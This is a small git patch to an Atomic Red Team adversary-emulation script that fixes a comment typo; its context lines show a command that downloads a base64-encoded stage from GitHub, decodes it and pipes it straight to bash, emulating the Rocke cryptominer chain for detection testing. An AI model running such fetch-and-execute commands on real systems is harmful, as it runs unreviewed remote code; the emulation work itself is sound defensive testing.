From 48ad5e308d7e58754fc0e3419e720e44339d0a89 Mon Sep 17 00:00:00 2001 From: "A. Didier" <34547787+rc-didier@users.noreply.github.com> Date: Thu, 29 Aug 2019 07:36:47 -0600 Subject: [PATCH] Update rocke-and-roll-stage-01.sh (#533) Noticed this misspelling during a training session today. --- ARTifacts/Chain_Reactions/rocke-and-roll-stage-01.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ARTifacts/Chain_Reactions/rocke-and-roll-stage-01.sh b/ARTifacts/Chain_Reactions/rocke-and-roll-stage-01.sh index 831fe4c8..dd88c941 100644 --- a/ARTifacts/Chain_Reactions/rocke-and-roll-stage-01.sh +++ b/ARTifacts/Chain_Reactions/rocke-and-roll-stage-01.sh @@ -4,7 +4,7 @@ # Technique: T1027 - Obfuscated Files or Information bash -c "(curl -fsSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-base64.sh || wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-base64.sh)|base64 -d |/bin/bash" -# If you want to skip the base64 process, uncommend the following line: +# If you want to skip the base64 process, uncomment the following line: # bash -c "(curl -fsSL https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh || wget -q -O- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/rocke-and-roll-stage-02-decoded.sh)|/bin/bash" echo $(date -u) "Executed Atomic Red Team Rocke and Roll, Stage 01" >> /tmp/atomic.log